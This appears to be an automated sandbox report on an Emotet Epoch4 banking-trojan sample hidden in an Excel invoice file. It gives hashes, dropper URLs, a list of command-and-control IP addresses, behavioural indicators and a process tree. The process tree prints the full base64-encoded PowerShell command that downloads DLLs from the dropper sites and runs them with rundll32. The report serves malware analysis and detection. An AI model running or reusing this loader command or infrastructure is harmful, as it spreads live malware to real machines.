emotet | f6d4cabb329c0b1372ee10a50b287daa8a8be319468dff479fd4b63b802e71f9

Analysis

max time kernel
128s
max time network
133s
platform
windows10_x64
resource
win10-en-20211208
submitted
25/01/2022, 12:01

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General

Target
Inv BL-8685.xls
Size 142KB
Sample220125-n6w1tafder
SHA256 f6d4cabb329c0b1372ee10a50b287daa8a8be319468dff479fd4b63b802e71f9
MD5 33c6c1352f32b5cd6e0585f7b881f025
SHA1 9da62e59cbcf929aafa30e610a2945f16b4cf2e5
SHA512 e421df9b05a3e2f53ebd38fb4e66da84d57aa4fa404d4264b4dede5dce368cf1c35ee2075c64757cd52c7cc3fc560273ec4328bcf1f443c11e223cb77541caa3
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://rkeeperua.com/include/FXBsVAOd1U/
exe.dropper
http://pozhadvokat.com/images/QmZXA9kRUU8xZZF/
exe.dropper
http://queens.renovatiog.ltd/wp-includes/LDH/
exe.dropper
http://renovatiomarketing.com/renovatiomarketing.com/A/
exe.dropper
http://remedy.eventmasti.com/vendor/Y2XclYoCdDzSSua/
exe.dropper
http://ppdbsma.insanrabbany.sch.id/gkvvb/sXVYo8HsPSFQh/
exe.dropper
http://pinnaclehomesusa.net/870xg9/pNp3a1iHCKaZwYEV/
exe.dropper
http://dandtpremierhomes.com/eapn/lpN6dcAppn/
exe.dropper
http://keluargamalaysia.bliblah.com/cgi-bin/FUzc3KOKN3DNeee/
exe.dropper
http://crisbdev.com/wp-content/2dmXYgLVdkV/

Extracted

Family

emotet

Botnet

Epoch4

45.80.148.200:443
80.211.3.13:8080
110.232.117.186:8080
45.142.114.231:8080
131.100.24.231:80
107.182.225.142:8080
45.118.135.203:7080
164.68.99.3:8080
212.237.56.116:7080
41.76.108.46:8080
58.227.42.236:80
104.168.155.129:8080
79.172.212.216:8080
192.254.71.210:443
51.38.71.0:443
217.182.143.207:443
203.114.109.124:443
185.157.82.211:8080
173.212.193.249:8080
45.176.232.124:443
158.69.222.101:443
212.237.17.99:8080
207.38.84.195:8080
195.154.133.20:443
162.243.175.63:443
138.185.72.26:8080
103.8.26.102:8080
103.8.26.103:8080
50.116.54.215:443
178.79.147.66:8080
45.118.115.99:8080
178.63.25.185:443
46.55.222.11:443
103.75.201.2:443
81.0.236.90:443
176.104.106.96:8080
162.214.50.39:7080
212.237.5.209:443
209.59.138.75:7080
216.158.226.206:443
104.251.214.46:8080
212.24.98.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2812	3300	cmd.exe	68

Blocklisted process makes network request 7 IoCs

flow	pid	Process
29	3856	powershell.exe
32	3856	powershell.exe
52	2076	rundll32.exe
55	2076	rundll32.exe
58	2076	rundll32.exe
59	2076	rundll32.exe
60	2076	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2396	rundll32.exe
784	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Yxttqb\thzdejqkouvdc.him	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3300	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3856	powershell.exe
3856	powershell.exe
3856	powershell.exe
2076	rundll32.exe
2076	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3856	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3300	EXCEL.EXE
3300	EXCEL.EXE
3300	EXCEL.EXE
3300	EXCEL.EXE
3300	EXCEL.EXE
3300	EXCEL.EXE
3300	EXCEL.EXE
3300	EXCEL.EXE
3300	EXCEL.EXE
3300	EXCEL.EXE
3300	EXCEL.EXE
3300	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 3300 wrote to memory of 2812	3300	EXCEL.EXE	70
PID 3300 wrote to memory of 2812	3300	EXCEL.EXE	70
PID 2812 wrote to memory of 3856	2812	cmd.exe	72
PID 2812 wrote to memory of 3856	2812	cmd.exe	72
PID 3856 wrote to memory of 2396	3856	powershell.exe	75
PID 3856 wrote to memory of 2396	3856	powershell.exe	75
PID 3856 wrote to memory of 2396	3856	powershell.exe	75
PID 2396 wrote to memory of 784	2396	rundll32.exe	76
PID 2396 wrote to memory of 784	2396	rundll32.exe	76
PID 2396 wrote to memory of 784	2396	rundll32.exe	76
PID 784 wrote to memory of 2284	784	rundll32.exe	77
PID 784 wrote to memory of 2284	784	rundll32.exe	77
PID 784 wrote to memory of 2284	784	rundll32.exe	77
PID 2284 wrote to memory of 2076	2284	rundll32.exe	78
PID 2284 wrote to memory of 2076	2284	rundll32.exe	78
PID 2284 wrote to memory of 2076	2284	rundll32.exe	78

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Inv BL-8685.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3300
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\programdata\rtyusdj.bat" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AcgBrAGUAZQBwAGUAcgB1AGEALgBjAG8AbQAvAGkAbgBjAGwAdQBkAGUALwBGAFgAQgBzAFYAQQBPAGQAMQBVAC8ALABoAHQAdABwADoALwAvAHAAbwB6AGgAYQBkAHYAbwBrAGEAdAAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBRAG0AWgBYAEEAOQBrAFIAVQBVADgAeABaAFoARgAvACwAaAB0AHQAcAA6AC8ALwBxAHUAZQBlAG4AcwAuAHIAZQBuAG8AdgBhAHQAaQBvAGcALgBsAHQAZAAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEwARABIAC8ALABoAHQAdABwADoALwAvAHIAZQBuAG8AdgBhAHQAaQBvAG0AYQByAGsAZQB0AGkAbgBnAC4AYwBvAG0ALwByAGUAbgBvAHYAYQB0AGkAbwBtAGEAcgBrAGUAdABpAG4AZwAuAGMAbwBtAC8AQQAvACwAaAB0AHQAcAA6AC8ALwByAGUAbQBlAGQAeQAuAGUAdgBlAG4AdABtAGEAcwB0AGkALgBjAG8AbQAvAHYAZQBuAGQAbwByAC8AWQAyAFgAYwBsAFkAbwBDAGQARAB6AFMAUwB1AGEALwAsAGgAdAB0AHAAOgAvAC8AcABwAGQAYgBzAG0AYQAuAGkAbgBzAGEAbgByAGEAYgBiAGEAbgB5AC4AcwBjAGgALgBpAGQALwBnAGsAdgB2AGIALwBzAFgAVgBZAG8AOABIAHMAUABTAEYAUQBoAC8ALABoAHQAdABwADoALwAvAHAAaQBuAG4AYQBjAGwAZQBoAG8AbQBlAHMAdQBzAGEALgBuAGUAdAAvADgANwAwAHgAZwA5AC8AcABOAHAAMwBhADEAaQBIAEMASwBhAFoAdwBZAEUAVgAvACwAaAB0AHQAcAA6AC8ALwBkAGEAbgBkAHQAcAByAGUAbQBpAGUAcgBoAG8AbQBlAHMALgBjAG8AbQAvAGUAYQBwAG4ALwBsAHAATgA2AGQAYwBBAHAAcABuAC8ALABoAHQAdABwADoALwAvAGsAZQBsAHUAYQByAGcAYQBtAGEAbABhAHkAcwBpAGEALgBiAGwAaQBiAGwAYQBoAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8ARgBVAHoAYwAzAEsATwBLAE4AMwBEAE4AZQBlAGUALwAsAGgAdAB0AHAAOgAvAC8AYwByAGkAcwBiAGQAZQB2AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMgBkAG0AWABZAGcATABWAGQAawBWAC8AIgAuAFMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACgAJABzAHQAIABpAG4AIAAkAHIAbwB3AGkAZgBpAHUAZAApAHsAJAByAHIAeQBpAHUAZAA9AEcAZQB0AC0AUgBhAG4AZABvAG0AOwAkAGYAZwBoAGkAdQBzAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAAiACsAJAByAHIAeQBpAHUAZAArACIALgBkAGwAbAAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAcwB0ACAALQBPAHUAdABGAGkAbABlACAAJABHAHMAcgBGAEoAWQBqAGQANQA0ADYAZABzADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQB7ACAAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3856
  - - C:\windows\syswow64\rundll32.exe
      "C:\windows\syswow64\rundll32.exe" c:\programdata\1471240393.dll,f796404784
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2396
    - - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "c:\programdata\1471240393.dll",DllRegisterServer
        5⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:784
      - C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Yxttqb\thzdejqkouvdc.him",sMFTWWhVyYu
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2284
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Yxttqb\thzdejqkouvdc.him",DllRegisterServer
        7⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2076

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/784-398-0x0000000004A20000-0x0000000004A45000-memory.dmp

Download

memory/784-396-0x0000000004870000-0x0000000004895000-memory.dmp

Download

memory/784-394-0x0000000004810000-0x0000000004835000-memory.dmp

Download

memory/784-392-0x00000000047B0000-0x00000000047D5000-memory.dmp

Download

memory/784-390-0x0000000004650000-0x0000000004675000-memory.dmp

Download

memory/784-385-0x0000000000910000-0x0000000000935000-memory.dmp

Download

memory/2076-404-0x0000000004E20000-0x0000000004E45000-memory.dmp

Download

memory/2076-448-0x00000000053C0000-0x00000000053E5000-memory.dmp

Download

memory/2076-412-0x00000000052C0000-0x00000000052E5000-memory.dmp

Download

memory/2076-410-0x00000000051E0000-0x0000000005205000-memory.dmp

Download

memory/2076-408-0x0000000005100000-0x0000000005125000-memory.dmp

Download

memory/2076-406-0x0000000005020000-0x0000000005045000-memory.dmp

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memory/2076-401-0x0000000004820000-0x0000000004845000-memory.dmp

Download

memory/2284-399-0x00000000032B0000-0x00000000032D5000-memory.dmp

Download

memory/3300-119-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

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memory/3300-443-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Download

memory/3300-130-0x00007FFBCF620000-0x00007FFBCF630000-memory.dmp

Download

memory/3300-123-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Download

memory/3300-120-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Download

memory/3300-131-0x00007FFBCF620000-0x00007FFBCF630000-memory.dmp

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memory/3300-118-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Download

memory/3300-303-0x000001BE32FA0000-0x000001BE32FA4000-memory.dmp

Download

memory/3300-446-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Download

memory/3300-117-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Download

memory/3300-445-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Download

memory/3300-444-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Download

memory/3856-355-0x000002E557CC0000-0x000002E558466000-memory.dmp

Download

memory/3856-372-0x000002E53EC70000-0x000002E556DF0000-memory.dmp

Download

memory/3856-373-0x000002E53EC70000-0x000002E556DF0000-memory.dmp

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memory/3856-374-0x000002E53EC70000-0x000002E556DF0000-memory.dmp

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memory/3856-338-0x000002E556F70000-0x000002E556FE6000-memory.dmp

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memory/3856-335-0x000002E556DA0000-0x000002E556DC2000-memory.dmp

Download

memory/3856-356-0x000002E53EC70000-0x000002E556DF0000-memory.dmp

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